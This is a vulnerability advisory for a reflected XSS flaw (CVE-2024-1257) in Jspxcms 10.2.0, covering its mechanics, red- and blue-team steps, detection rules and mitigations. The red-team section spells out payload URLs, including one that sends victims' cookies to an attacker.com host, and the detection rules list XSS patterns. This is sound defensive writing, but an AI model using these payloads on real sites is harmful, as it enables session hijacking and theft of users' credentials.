CVE-2024-1257
Executive Summary
CVE-2024-1257 is a reflected Cross-Site Scripting (XSS) vulnerability in Jspxcms version 10.2.0. The flaw resides in the /ext/collect/find_text.do endpoint, where user-supplied input is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a low CVSS score of 3.5 due to the requirement for user interaction, but the public availability of exploit details increases the risk. No official patch has been released at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 3.5 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed to trigger the vulnerability.
- User Interaction (UI): Required – The victim must click on the malicious link.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): None – No direct data exfiltration.
- Integrity (I): Low – The attacker can modify content within the victim's browser session.
- Availability (A): None – No impact on system availability.
Threat Level: Low (due to required user interaction), but the public exploit increases the urgency for patching or implementing mitigations.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the Jspxcms content management system. The endpoint /ext/collect/find_text.do accepts a parameter (likely text or similar) that is reflected in the HTTP response without proper encoding or validation. An attacker can inject JavaScript payloads into this parameter. When a victim clicks on a crafted link (e.g., http://target.com/ext/collect/find_text.do?text=<script>alert('XSS')</script>), the script executes in the victim's browser.
The root cause is the lack of output encoding in the server-side code. The application likely uses a Java-based framework (JSP) that does not automatically escape user input in the response. The vulnerable code path does not apply context-aware escaping (e.g., HTML entity encoding) before rendering the user input.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on best practices.
Vulnerable Code (Jspxcms 10.2.0):
// Vulnerable: Directly outputs user input without encoding
String text = request.getParameter("text");
out.println("<div>" + text + "</div>");
Patched Code (Hypothetical):
// Patched: Uses HTML entity encoding
String text = request.getParameter("text");
String encodedText = StringEscapeUtils.escapeHtml4(text);
out.println("<div>" + encodedText + "</div>");
The patched version uses a library like Apache Commons Lang to escape HTML special characters (<, >, &, ", '), preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Deploy Jspxcms 10.2.0 in a controlled lab environment (e.g., Docker container).
- Craft Payload: Create a malicious URL:
http://<target>/ext/collect/find_text.do?text=<script>alert(document.cookie)</script> - Deliver: Send the link to a victim via email, social engineering, or a compromised site.
- Execute: When the victim clicks the link, the script executes, displaying the victim's cookies in an alert box. For a more advanced attack, use a payload that exfiltrates cookies to an attacker-controlled server:
http://<target>/ext/collect/find_text.do?text=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
Blue Team (Defense & Detection)
- Monitor Logs: Look for HTTP requests to
/ext/collect/find_text.dowith suspicious parameters containing<script>,onerror,javascript:, or other XSS patterns. - WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing common XSS payloads in the
textparameter. - Input Validation: Implement server-side input validation to reject or sanitize any input containing HTML tags or JavaScript.
- Content Security Policy (CSP): Add a CSP header to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'
Indicators of Compromise (IOCs)
- URL Pattern: Requests to
/ext/collect/find_text.dowith parameters containing<script>,%3Cscript%3E, or other encoded script tags. - HTTP Referer: Suspicious referrers from phishing emails or malicious sites.
- Network Traffic: Outbound connections to attacker-controlled domains or IPs from the victim's browser (if exfiltration payload is used).
- Log Entries: Server logs showing 200 responses to
/ext/collect/find_text.dowith unusual query strings.
Detection Engineering
YARA Rule
rule CVE_2024_1257_Jspxcms_XSS {
meta:
description = "Detects exploitation attempts of CVE-2024-1257 reflected XSS in Jspxcms"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1257"
strings:
$url_pattern = "/ext/collect/find_text.do"
$xss_payload1 = "<script"
$xss_payload2 = "onerror="
$xss_payload3 = "javascript:"
$xss_payload4 = "alert("
condition:
$url_pattern and any of ($xss_payload*)
}
Sigma Rule
title: CVE-2024-1257 Jspxcms Reflected XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/ext/collect/find_text.do'
cs-uri-query|contains|all:
- 'text='
- '<script'
condition: selection
falsepositives:
- Legitimate use of script tags in search queries (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1257 Jspxcms Reflected XSS Attempt"; flow:to_server,established; content:"/ext/collect/find_text.do"; http_uri; content:"text="; http_uri; pcre:"/text=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: If possible, disable or restrict access to the
/ext/collect/find_text.doendpoint via web server configuration (e.g.,.htaccessor Nginx location block). - Input Validation: Implement strict input validation on the
textparameter to allow only alphanumeric characters and safe punctuation. - Output Encoding: Apply HTML entity encoding to all user-supplied data before rendering it in the response.
- WAF: Deploy a Web Application Firewall with rules to block XSS payloads.
- CSP: Implement a strict Content Security Policy to mitigate the impact of XSS.
- Monitor: Continuously monitor logs for exploitation attempts.
- Patch: Watch for an official patch from Jspxcms and apply it as soon as it becomes available.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.